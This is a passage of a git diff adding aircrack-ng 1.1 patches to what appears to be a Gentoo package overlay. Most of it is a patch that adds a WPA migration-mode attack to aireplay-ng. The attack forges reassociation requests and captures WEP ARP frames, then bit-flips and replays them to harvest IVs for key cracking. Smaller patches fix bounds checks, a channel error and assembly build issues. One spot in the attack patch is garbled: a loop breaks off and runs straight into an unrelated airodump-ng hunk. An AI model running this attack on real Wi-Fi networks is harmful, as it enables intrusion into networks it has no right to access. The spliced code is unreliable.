10:28:54.000000000 -0400 ++++ aircrack-ng-1.1-patched/src/airodump-ng.h 2011-07-06 10:39:27.000000000 -0400 +@@ -111,7 +111,8 @@ + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00"; + +-#define OUI_PATH "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt" ++#define OUI_PATH0 "/etc/aircrack-ng/airodump-ng-oui.txt" ++#define OUI_PATH1 "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt" + #define MIN_RAM_SIZE_LOAD_OUI_RAM 32768 + + int read_pkts=0; diff --git a/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff b/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff new file mode 100644 index 00000000..5a8fd15a --- /dev/null +++ b/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff @@ -0,0 +1,872 @@ +diff -ru /tmp/aircrack-ng-1.1/src/aircrack-ng.c ./aircrack-ng.c +--- /tmp/aircrack-ng-1.1/src/aircrack-ng.c 2010-04-09 11:50:14.000000000 -0300 ++++ ./aircrack-ng.c 2010-07-12 13:13:42.000000000 -0300 +@@ -1065,6 +1065,9 @@ + + ap_cur->crypt = -1; + ++ if (opt.forced_amode) ++ ap_cur->crypt = opt.amode + 1; ++ + if (opt.do_ptw == 1) + { + ap_cur->ptw_clean = PTW_newattackstate(); +@@ -1388,13 +1391,18 @@ + + if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) + { +- ap_cur->crypt = 2; /* encryption = WEP */ ++ if( !opt.forced_amode ) ++ ap_cur->crypt = 2; /* encryption = WEP */ + + /* check the extended IV flag */ + +- if( ( h80211[z + 3] & 0x20 ) != 0 ) +- /* encryption = WPA */ ++ if( ( h80211[z + 3] & 0x20 ) != 0 ) ++ { ++ /* encryption = WPA */ ++ if( !opt.forced_amode ) + ap_cur->crypt = 3; ++ goto unlock_mx_apl; ++ } + + /* check the WEP key index */ + +@@ -1490,7 +1498,8 @@ + goto unlock_mx_apl; + + ap_cur->eapol = 0; +- ap_cur->crypt = 3; /* set WPA */ ++ if( !opt.forced_amode ) ++ ap_cur->crypt = 3; /* set WPA */ + + if( st_cur == NULL ) + { +@@ -1976,6 +1985,9 @@ + memcpy( ap_cur->bssid, bssid, 6 ); + + ap_cur->crypt = -1; ++ ++ if (opt.forced_amode) ++ ap_cur->crypt = opt.amode + 1; + } + + if( fmt == FORMAT_IVS ) +@@ -2202,13 +2214,18 @@ + + if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) + { +- ap_cur->crypt = 2; /* encryption = WEP */ ++ if( !opt.forced_amode ) ++ ap_cur->crypt = 2; /* encryption = WEP */ + + /* check the extended IV flag */ + +- if( ( h80211[z + 3] & 0x20 ) != 0 ) +- /* encryption = WPA */ ++ if( ( h80211[z + 3] & 0x20 ) != 0 ) ++ { ++ /* encryption = WPA */ ++ if( !opt.forced_amode ) + ap_cur->crypt = 3; ++ goto unlock_mx_apl; ++ } + + /* check the WEP key index */ + +@@ -3213,7 +3230,10 @@ + + pthread_mutex_unlock( &mx_ivb ); + +- return( RESTART ); ++ if (wep.nb_ivs > 0) ++ return( RESTART ); ++ else ++ return( SUCCESS ); + } + + return( SUCCESS ); +@@ -4580,6 +4600,7 @@ + opt.bssidmerge = NULL; + opt.oneshot = 0; + opt.logKeyToFile = NULL; ++ opt.forced_amode = 0; + + /* + all_ivs = malloc( (256*256*256) * sizeof(used_iv)); +@@ -4668,6 +4689,8 @@ + return( FAILURE ); + } + ++ opt.forced_amode = 1; ++ + break; + + case 'e' : +@@ -5362,7 +5385,7 @@ + printf("Starting PTW attack with %ld ivs.\n", ap_cur->nb_ivs_vague); + ret = crack_wep_ptw(ap_cur); + +- if( opt.oneshot == 1 && ret == FAILURE ) ++ if( (opt.oneshot == 1 || wep.nb_ivs == 0) && ret == FAILURE ) + { + printf( " Attack failed. Possible reasons:\n\n" + " * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n" +diff -ru /tmp/aircrack-ng-1.1/src/aircrack-ng.h ./aircrack-ng.h +--- /tmp/aircrack-ng-1.1/src/aircrack-ng.h 2009-06-13 19:49:09.000000000 -0300 ++++ ./aircrack-ng.h 2010-07-12 12:25:06.000000000 -0300 +@@ -148,6 +148,8 @@ + + char * logKeyToFile; + ++ int forced_amode; /* signals disregarding automatic detection of encryption type */ ++ + } + + opt; +diff -ru /tmp/aircrack-ng-1.1/src/aireplay-ng.c ./aireplay-ng.c +--- /tmp/aircrack-ng-1.1/src/aireplay-ng.c 2010-04-02 01:33:28.000000000 -0300 ++++ ./aireplay-ng.c 2010-07-08 19:56:40.000000000 -0300 +@@ -93,6 +93,10 @@ + "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ + "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" + ++#define REASSOC_REQ \ ++ "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ ++ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00" ++ + #define NULL_DATA \ + "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ + "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" +@@ -171,6 +175,7 @@ + " -e essid : set target AP SSID\n" + " -o npckts : number of packets per burst (0=auto, default: 1)\n" + " -q sec : seconds between keep-alives\n" ++" -Q : send reassociation requests\n" + " -y prga : keystream for shared key auth\n" + " -T n : exit after retry fake auth request n time\n" + "\n" +@@ -213,6 +218,7 @@ + " --caffe-latte : query a client for new IVs (-6)\n" + " --cfrag : fragments against a client (-7)\n" + " --test : tests injection and quality (-9)\n" ++" --migmode : attacks WPA migration mode (-W)\n" + "\n" + " --help : Displays this usage screen\n" + "\n"; +@@ -269,6 +275,8 @@ + + int nodetect; + int rtc; ++ ++ int reassoc; + } + opt; + +@@ -1760,16 +1768,25 @@ + + case 6: + +- if( opt.a_delay == 0 ) ++ if( opt.a_delay == 0 && opt.reassoc == 0 ) + { + printf("\n"); + return( 0 ); + } + ++ if( opt.a_delay == 0 && opt.reassoc == 1 ) ++ { ++ if(opt.npackets == -1) x_send = 4; ++ state = 7; ++ challengelen = 0; ++ break; ++ } ++ + if( time( NULL ) - tt >= opt.a_delay ) + { + if(opt.npackets == -1) x_send = 4; +- state = 0; ++ if( opt.reassoc == 1 ) state = 7; ++ else state = 0; + challengelen = 0; + break; + } +@@ -1797,6 +1814,69 @@ + + break; + ++ case 7: ++ ++ /* sending reassociation request */ ++ ++ tries = 0; ++ state = 8; ++ if(opt.npackets == -1) x_send *= 2; ++ tt = time( NULL ); ++ ++ /* attempt to reassociate */ ++ ++ memcpy( h80211, REASSOC_REQ, 34 ); ++ memcpy( h80211 + 4, opt.r_bssid, 6 ); ++ memcpy( h80211 + 10, opt.r_smac , 6 ); ++ memcpy( h80211 + 16, opt.r_bssid, 6 ); ++ ++ n = strlen( opt.r_essid ); ++ if( n > 32 ) n = 32; ++ ++ h80211[34] = 0x00; ++ h80211[35] = n; ++ ++ memcpy( h80211 + 36, opt.r_essid, n ); ++ memcpy( h80211 + 36 + n, RATES, 16 ); ++ memcpy( h80211 + 30, capa, 2); ++ ++ PCT; printf( "Sending Reassociation Request" ); ++ fflush( stdout ); ++ gotack=0; ++ ++ for( i = 0; i < x_send; i++ ) ++ { ++ if( send_packet( h80211, 52 + n ) < 0 ) ++ return( 1 ); ++ ++ usleep(10); ++ ++ if( send_packet( ackbuf, 14 ) < 0 ) ++ return( 1 ); ++ usleep(10); ++ ++ if( send_packet( ackbuf, 14 ) < 0 ) ++ return( 1 ); ++ } ++ ++ break; ++ ++ case 8: ++ ++ /* waiting for a reassociation response */ ++ ++ if( time( NULL ) - tt >= 5 ) ++ { ++ if( x_send < 256 && (opt.npackets == -1) ) ++ x_send *= 4; ++ ++ state = 7; ++ challengelen = 0; ++ printf("\n"); ++ } ++ ++ break; ++ + default: break; + } + +@@ -2042,6 +2122,60 @@ + + state = 6; /* assoc. done */ + } ++ ++ /* check if we got an reassociation response */ ++ ++ if( h80211[0] == 0x30 && state == 8 ) ++ { ++ printf("\n"); ++ state = 7; PCT; ++ ++ if( caplen < 30 ) ++ { ++ printf( "Error: packet length < 30 bytes\n" ); ++ sleep( 3 ); ++ challengelen = 0; ++ continue; ++ } ++ ++ n = h80211[26] + ( h80211[27] << 8 ); ++ ++ if( n != 0 ) ++ { ++ switch( n ) ++ { ++ case 1: ++ printf( "Denied (code 1), is WPA in use ?\n" ); ++ break; ++ ++ case 10: ++ printf( "Denied (code 10), open (no WEP) ?\n" ); ++ break; ++ ++ case 12: ++ printf( "Denied (code 12), wrong ESSID or WPA ?\n" ); ++ break; ++ ++ default: ++ printf( "Reassociation denied (code %d)\n", n ); ++ break; ++ } ++ ++ sleep( 3 ); ++ challengelen = 0; ++ continue; ++ } ++ ++ aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF); ++ printf( "Reassociation successful :-) (AID: %d)\n", aid ); ++ deauth_wait = 3; ++ fflush( stdout ); ++ ++ tt = time( NULL ); ++ tr = time( NULL ); ++ ++ state = 6; /* reassoc. done */ ++ } + } + } + +@@ -3024,6 +3158,423 @@ + return( 0 ); + } + ++int do_attack_migmode( void ) ++{ ++ int nb_bad_pkt; ++ int arp_off1, arp_off2; ++ int i, n, caplen, nb_arp, z; ++ long nb_pkt_read, nb_arp_tot, nb_ack_pkt; ++ uchar flip[4096]; ++ uchar senderMAC[6]; ++ ++ time_t tc; ++ float f, ticks[3]; ++ struct timeval tv; ++ struct timeval tv2; ++ struct tm *lt; ++ ++ FILE *f_cap_out; ++ struct pcap_file_header pfh_out; ++ struct pcap_pkthdr pkh; ++ struct ARP_req * arp; ++ ++ if ( opt.ringbuffer ) ++ arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); ++ else ++ arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); ++ ++ /* capture only WEP data to broadcast address */ ++ ++ opt.f_type = 2; ++ opt.f_subtype = 0; ++ opt.f_iswep = 1; ++ opt.f_fromds = 1; ++ ++ if(getnet(NULL, 1, 1) != 0) ++ return 1; ++ ++ if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 ) ++ { ++ printf( "Please specify a BSSID (-b).\n" ); ++ return( 1 ); ++ } ++ /* create and write the output pcap header */ ++ ++ gettimeofday( &tv, NULL ); ++ ++ pfh_out.magic = TCPDUMP_MAGIC; ++ pfh_out.version_major = PCAP_VERSION_MAJOR; ++ pfh_out.version_minor = PCAP_VERSION_MINOR; ++ pfh_out.thiszone = 0; ++ pfh_out.sigfigs = 0; ++ pfh_out.snaplen = 65535; ++ pfh_out.linktype = LINKTYPE_IEEE802_11; ++ ++ lt = localtime( (const time_t *) &tv.tv_sec ); ++ ++ memset( strbuf, 0, sizeof( strbuf ) ); ++ snprintf( strbuf, sizeof( strbuf ) - 1, ++ "replay_arp-%02d%02d-%02d%02d%02d.cap", ++ lt->tm_mon + 1, lt->tm_mday, ++ lt->tm_hour, lt->tm_min, lt->tm_sec ); ++ ++ printf( "Saving ARP requests in %s\n", strbuf ); ++ ++ if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) ++ { ++ perror( "fopen failed" ); ++ return( 1 ); ++ } ++ ++ n = sizeof( struct pcap_file_header ); ++ ++ if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) ++ { ++ perror( "fwrite failed\n" ); ++ return( 1 ); ++ } ++ ++ fflush( f_cap_out ); ++ ++ printf( "You should also start airodump-ng to capture replies.\n" ); ++ printf( "Remember to filter the capture to only keep WEP frames: "); ++ printf( " \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n"); ++ //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n"); ++ ++ if(opt.port_in <= 0) ++ { ++ /* avoid blocking on reading the socket */ ++ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) ++ { ++ perror( "fcntl(O_NONBLOCK) failed" ); ++ return( 1 ); ++ } ++ } ++ ++ memset( ticks, 0, sizeof( ticks ) ); ++ ++ tc = time( NULL ) - 11; ++ ++ nb_pkt_read = 0; ++ nb_bad_pkt = 0; ++ nb_ack_pkt = 0; ++ nb_arp = 0; ++ nb_arp_tot = 0; ++ arp_off1 = 0; ++ arp_off2 = 0; ++ ++ while( 1 ) ++ { ++ /* sleep until the next clock tick */ ++ ++ if( dev.fd_rtc >= 0 ) ++ { ++ if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) ++ { ++ perror( "read(/dev/rtc) failed" ); ++ return( 1 ); ++ } ++ ++ ticks[0]++; ++ ticks[1]++; ++ ticks[2]++; ++ } ++ else ++ { ++ gettimeofday( &tv, NULL ); ++ usleep( 1000000/RTC_RESOLUTION ); ++ gettimeofday( &tv2, NULL ); ++ ++ f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) ++ + (float) ( tv2.tv_usec - tv.tv_usec ); ++ ++ ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ++ ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ++ ticks[2] += f / ( 1000000/RTC_RESOLUTION ); ++ } ++ ++ if( ticks[1] > (RTC_RESOLUTION/10) ) ++ { ++ ticks[1] = 0; ++ printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " ++ "sent %ld packets...(%d pps)\r", ++ nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); ++ fflush( stdout ); ++ } ++ ++ if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) ++ { ++ /* threshold reach, send one frame */ ++ ++ ticks[2] = 0; ++ ++ if( nb_arp > 0 ) ++ { ++ if( nb_pkt_sent == 0 ) ++ ticks[0] = 0; ++ ++ if( send_packet( arp[arp_off1].buf, ++ arp[arp_off1].len ) < 0 ) ++ return( 1 ); ++ ++ if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) ++ { ++ if( send_packet( arp[arp_off1].buf, ++ arp[arp_off1].len ) < 0 ) ++ return( 1 ); ++ } ++ ++ if( ++arp_off1 >= nb_arp ) ++ arp_off1 = 0; ++ } ++ } ++ ++ /* read a frame, and check if it's an ARP request */ ++ ++ if( opt.s_file == NULL ) ++ { ++ gettimeofday( &tv, NULL ); ++ ++ caplen = read_packet( h80211, sizeof( h80211 ), NULL ); ++ ++ if( caplen < 0 ) return( 1 ); ++ if( caplen == 0 ) continue; ++ } ++ else ++ { ++ n = sizeof( pkh ); ++ ++ if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) ++ { ++ opt.s_file = NULL; ++ continue; ++ } ++ ++ if( dev.pfh_in.magic == TCPDUMP_CIGAM ) ++ SWAP32( pkh.caplen ); ++ ++ tv.tv_sec = pkh.tv_sec; ++ tv.tv_usec = pkh.tv_usec; ++ ++ n = caplen = pkh.caplen; ++ ++ if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) ++ { ++ printf( "\r\33[KInvalid packet length %d.\n", n ); ++ opt.s_file = NULL; ++ continue; ++ } ++ ++ if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) ++ { ++ opt.s_file = NULL; ++ continue; ++ } ++ ++ if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) ++ { ++ /* remove the prism header */ ++ ++ if( h80211[7] == 0x40 ) ++ n = 64; ++ else ++ n = *(int *)( h80211 + 4 ); ++ ++ if( n < 8 || n >= (int) caplen ) ++ continue; ++ ++ memcpy( tmpbuf, h80211, caplen ); ++ caplen -= n; ++ memcpy( h80211, tmpbuf + n, caplen ); ++ } ++ ++ if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) ++ { ++ /* remove the radiotap header */ ++ ++ n = *(unsigned short *)( h80211 + 2 ); ++ ++ if( n <= 0 || n >= (int) caplen ) ++ continue; ++ ++ memcpy( tmpbuf, h80211, caplen ); ++ caplen -= n; ++ memcpy( h80211, tmpbuf + n, caplen ); ++ } ++ ++ if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) ++ { ++ /* remove the PPI header */ ++ ++ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); ++ ++ if( n <= 0 || n>= (int) caplen ) ++ continue; ++ ++ /* for a while Kismet logged broken PPI headers */ ++ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) ++ n = 32; ++ ++ if( n <= 0 || n>= (int) caplen ) ++ continue; ++ ++ memcpy( tmpbuf, h80211, caplen ); ++ caplen -= n; ++ memcpy( h80211, tmpbuf + n, caplen ); ++ } ++ } ++ ++ nb_pkt_read++; ++ ++ /* check if it's a disas. or deauth packet */ ++ ++ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ++ ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) ++ { ++ nb_bad_pkt++; ++ ++ if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) ++ { ++ printf( "\33[KNotice: got a deauth/disassoc packet. Is the " ++ "source MAC associated ?\n" ); ++ ++ tc = time( NULL ); ++ nb_bad_pkt = 0; ++ } ++ } ++ ++ if( h80211[0] == 0xD4 && ++ ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) ++ { ++ nb_ack_pkt++; ++ } ++ ++ /* check if it's a potential ARP request */ ++ ++ opt.f_minlen = opt.f_maxlen = 68; ++ ++ if( filter_packet( h80211, caplen ) == 0 ) ++ goto add_arp; ++ ++ opt.f_minlen = opt.f_maxlen = 86; ++ ++ if( filter_packet( h80211, caplen ) == 0 ) ++ { ++add_arp: ++ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; ++ if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ ++ z+=2; ++ ++ switch( h80211[1] & 3 ) ++ { ++ case 2: /* FromDS */ ++ { ++ if(memcmp(h80211 + 4, BROADCAST, 6) == 0) ++ { ++ /* backup sender MAC */ ++ ++ memset( senderMAC, 0, 6 ); ++ memcpy( senderMAC, h80211 + 16, 6 ); ++ ++ /* rewrite to a ToDS packet */ ++ ++ memcpy( h80211 + 4, opt.f_bssid, 6 ); ++ memcpy( h80211 + 10, opt.r_smac, 6 ); ++ memcpy( h80211 + 16, BROADCAST, 6 ); ++ ++ h80211[1] = 0x41; /* ToDS & WEP */ ++ } ++ else ++ { ++ nb_arp_tot++; ++ continue; ++ } ++ ++ break; ++ } ++ default: ++ continue; ++ } ++ ++// h80211[0] = 0x08; /* normal data */ ++ ++ /* if same IV, perhaps our own packet, skip it */ ++ ++ for( i = 0; i < nb_arp; i++ ) ++ { ++ if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) ++ break; ++ } ++ ++ if( i < nb_arp ) ++ continue; ++ ++ if( caplen > 128) ++ continue; ++ /* add the ARP request in the ring buffer */ ++ ++ nb_arp_tot++; ++ ++ /* Ring buffer size: by default: 8 ) */ ++ ++ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) ++ continue; ++ else { ++ ++ if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { ++ perror( "malloc failed" ); ++ return( 1 ); ++ } ++ ++ memset(flip, 0, 4096); ++ ++ /* flip the sender MAC to convert it into the source MAC */ ++ flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]); ++ flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]); ++ flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]); ++ flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]); ++ flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]); ++ flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]); ++ flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP ++ ++ add_crc32_plain(flip, caplen-z-4-4); ++ for(i=0; iwpa.eapol_size = ( h80211[z + 2] << 8 ) + + h80211[z + 3] + 4; + +- if ((int)pkh.len - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0) ++ if (caplen - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > 256) + { + // Ignore the packet trying to crash us. + goto write_packet; +@@ -2158,7 +2158,7 @@ + st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + + h80211[z + 3] + 4; + +- if ((int)pkh.len - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0) ++ if (caplen - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > 256) + { + // Ignore the packet trying to crash us. + goto write_packet; diff --git a/net-wireless/aircrack-ng/files/ignore-channel-1-error.patch b/net-wireless/aircrack-ng/files/ignore-channel-1-error.patch new file mode 100644 index 00000000..6189af13 --- /dev/null +++ b/net-wireless/aircrack-ng/files/ignore-channel-1-error.patch @@ -0,0 +1,65 @@ +Adapted for version 1.1 by Zero_Chaos based on original + +From: Paul Fertser +Date: Wed, 12 Jan 2011 00:27:07 +0300 +Subject: [PATCH] aireplay-ng: add an option to ignore channel -1 error + +Allow the user to ignore the channel match check when the host kernel is +not providing channel for the used interface. Required with unpatched +cfg80211 kernels. + +Signed-off-by: Paul Fertser + +diff -Naur aircrack-ng-1.1-orig/src/aireplay-ng.c aircrack-ng-1.1/src/aireplay-ng.c +--- aircrack-ng-1.1-orig/src/aireplay-ng.c 2011-01-11 19:45:09.000000000 -0500 ++++ aircrack-ng-1.1/src/aireplay-ng.c 2011-01-11 19:44:34.000000000 -0500 +@@ -205,7 +205,9 @@ + "\n" + " Miscellaneous options:\n" + "\n" +-" -R : disable /dev/rtc usage\n" ++" -R : disable /dev/rtc usage\n" ++" --ignore-negative-one : if the interface's channel can't be determined,\n" ++" ignore the mismatch, needed for unpatched cfg80211\n" + "\n" + " Attack modes (numbers can still be used):\n" + "\n" +@@ -274,6 +276,7 @@ + int bittest; + + int nodetect; ++ int ignore_negative_one; + int rtc; + + int reassoc; +@@ -723,6 +726,13 @@ + + iface_chan = wi_get_channel(wi); + ++ if(iface_chan == -1 && !opt.ignore_negative_one) ++ { ++ PCT; printf("Couldn't determine current channel for %s, you should either force the operation with --ignore-negative-one or apply a kernel patch\n", ++ wi_get_ifname(wi)); ++ return -1; ++ } ++ + if(bssid != NULL) + { + ap_chan = wait_for_beacon(bssid, capa, essid); +@@ -731,7 +741,7 @@ + PCT; printf("No such BSSID available.\n"); + return -1; + } +- if(ap_chan != iface_chan) ++ if((ap_chan != iface_chan) && (iface_chan != -1 || !opt.ignore_negative_one)) + { + PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); + return -1; +@@ -6318,6 +6328,7 @@ + {"fast", 0, 0, 'F'}, + {"bittest", 0, 0, 'B'}, + {"migmode", 0, 0, 'W'}, ++ {"ignore-negative-one", 0, &opt.ignore_negative_one, 1}, + {0, 0, 0, 0 } + }; + diff --git a/net-wireless/aircrack-ng/files/pic-fix.patch b/net-wireless/aircrack-ng/files/pic-fix.patch new file mode 100644 index 00000000..20c1c900 --- /dev/null +++ b/net-wireless/aircrack-ng/files/pic-fix.patch @@ -0,0 +1,175 @@ +2010-11-10 Francisco Blas Izquierdo Riera + + #285703 + * src/sha1-sse2.S: Add support for x86 and AMD64 +This patch is licensed uder the same LICENSE as aircrack-ng + +diff -ru aircrack-ng-1.1.old/src/sha1-sse2.S aircrack-ng-1.1/src/sha1-sse2.S +--- aircrack-ng-1.1.old/src/sha1-sse2.S 2010-01-22 02:01:28.000000000 +0100 ++++ aircrack-ng-1.1/src/sha1-sse2.S 2011-02-26 06:22:37.061208191 +0100 +@@ -8,9 +8,36 @@ + // input blocks must be (four bytes) interleaved. + + #if defined(__x86_64__) && defined(__APPLE__) ++#define PRELOAD(x) + #define MANGLE(x) x(%rip) ++#define INIT_PIC() ++#define END_PIC() + #else ++#ifdef __PIC__ ++ ++#ifdef __x86_64__ ++#define PRELOAD(x) movq x@GOTPCREL(%rip), %rbx; ++#define MANGLE(x) (%rbx) ++#define INIT_PIC() pushq %rbx ++#define END_PIC() popq %rbx ++#else ++#undef __i686 /* gcc builtin define gets in our way */ ++#define PRELOAD(x) ++#define MANGLE(x) x ## @GOTOFF(%ebx) ++#define INIT_PIC() \ ++ call __i686.get_pc_thunk.bx ; \ ++ addl $_GLOBAL_OFFSET_TABLE_, %ebx ++#define END_PIC() ++#endif ++ ++#else ++ ++#define PRELOAD(x) + #define MANGLE(x) x ++#define INIT_PIC() ++#define END_PIC() ++ ++#endif + #endif + + #if defined(__i386__) || defined(__x86_64__) +@@ -142,12 +169,15 @@ + paddd tmp2, e; \ + movdqa b, tmp2; \ + pslld $30, b; \ ++ PRELOAD(k) \ + paddd MANGLE(k), e; \ + psrld $2, tmp2; \ + por tmp2, b; \ + movdqa (data*16)(edx_rsi), tmp1; \ + movdqa tmp1, tmp2; \ ++ PRELOAD(const_ff00) \ + pand MANGLE(const_ff00), tmp1; \ ++ PRELOAD(const_00ff) \ + pand MANGLE(const_00ff), tmp2; \ + psrld $8, tmp1; \ + pslld $8, tmp2; \ +@@ -181,6 +211,7 @@ + paddd tmp2, e; \ + movdqa b, tmp2; \ + pslld $30, b; \ ++ PRELOAD(k) \ + paddd MANGLE(k), e; \ + psrld $2, tmp2; \ + por tmp2, b; +@@ -192,10 +223,16 @@ + shasse2_init: + _shasse2_init: + ++ INIT_PIC() ++ PRELOAD(const_init_a) + movdqa MANGLE(const_init_a), ctxa ++ PRELOAD(const_init_b) + movdqa MANGLE(const_init_b), ctxb ++ PRELOAD(const_init_c) + movdqa MANGLE(const_init_c), ctxc ++ PRELOAD(const_init_d) + movdqa MANGLE(const_init_d), ctxd ++ PRELOAD(const_init_e) + movdqa MANGLE(const_init_e), ctxe + + movdqa ctxa, 0(eax_rdi) +@@ -203,6 +240,7 @@ + movdqa ctxc, 32(eax_rdi) + movdqa ctxd, 48(eax_rdi) + movdqa ctxe, 64(eax_rdi) ++ END_PIC() + + ret + +@@ -212,17 +250,20 @@ + shasse2_ends: + _shasse2_ends: + +- movdqa 0(eax_rdi), ctxa ++ INIT_PIC() ++ movdqa 0(eax_rdi), ctxa + movdqa 16(eax_rdi), ctxb + movdqa 32(eax_rdi), ctxc + movdqa 48(eax_rdi), ctxd + movdqa 64(eax_rdi), ctxe + ++ PRELOAD(const_ff00) + movdqa MANGLE(const_ff00), tmp3 + movdqa ctxa, tmp1 + movdqa ctxb, tmp2 + pand tmp3, ctxa + pand tmp3, ctxb ++ PRELOAD(const_00ff) + movdqa MANGLE(const_00ff), tmp3 + pand tmp3, tmp1 + pand tmp3, tmp2 +@@ -243,6 +284,7 @@ + movdqa ctxa, 0(edx_rsi) + movdqa ctxb, 16(edx_rsi) + ++ PRELOAD(const_ff00) + movdqa MANGLE(const_ff00), tmp5 + movdqa ctxc, tmp1 + movdqa ctxd, tmp2 +@@ -250,6 +292,7 @@ + pand tmp5, ctxc + pand tmp5, ctxd + pand tmp5, ctxe ++ PRELOAD(const_00ff) + movdqa MANGLE(const_00ff), tmp5 + pand tmp5, tmp1 + pand tmp5, tmp2 +@@ -279,6 +322,7 @@ + movdqa ctxc, 32(edx_rsi) + movdqa ctxd, 48(edx_rsi) + movdqa ctxe, 64(edx_rsi) ++ END_PIC() + + ret + +@@ -289,6 +333,7 @@ + shasse2_data: + _shasse2_data: + ++ INIT_PIC() + movdqa 0(eax_rdi), ctxa + movdqa 16(eax_rdi), ctxb + movdqa 32(eax_rdi), ctxc +@@ -400,6 +445,7 @@ + movdqa ctxc, 32(eax_rdi) + movdqa ctxd, 48(eax_rdi) + movdqa ctxe, 64(eax_rdi) ++ END_PIC() + + ret + +@@ -462,6 +508,17 @@ + pop %ebx + #endif + ret ++#ifdef __i386__ ++#ifdef __PIC__ ++ .section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits ++.globl __i686.get_pc_thunk.bx ++ .hidden __i686.get_pc_thunk.bx ++ .type __i686.get_pc_thunk.bx,@function ++__i686.get_pc_thunk.bx: ++ movl (%esp), %ebx ++ ret ++#endif ++#endif + #endif + + diff --git a/net-wireless/aircrackgui-m4/Manifest b/net-wireless/aircrackgui-m4/Manifest new file mode 100644 index 00000000..2477f3ef --- /dev/null +++ b/net-wireless/aircrackgui-m4/Manifest @@ -0,0 +1,2 @@ +DIST aircrackgui-m4-0.7.0.tar.bz2 4515172 RMD160 5fd6c93f7f46b08e0ba8f0557926c4608972fca5 SHA1 fd4d608b0bc9762ce1eda9a481aee316da4ddbde SHA256 b424831f9e45fc16c7c42122f7b7ea56cd1dfb328552080e6d911dee96e562d5 +EBUILD aircrackgui-m4-0.7.0.ebuild 1349 RMD160 3554c7e5b657997d2f1e7ad8627b5eb15b05385d SHA1 3b46faf25f0d60cab4f2dab82dadc4b1c746f615 SHA256 b6ccf67f81fb9cbd217ae3e2df0d4d9cd510cae970bbdaa29a2d579d4bd67edb diff --git a/net-wireless/aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild b/net-wireless/aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild new file mode 100644 index 00000000..da65e31f --- /dev/null +++ 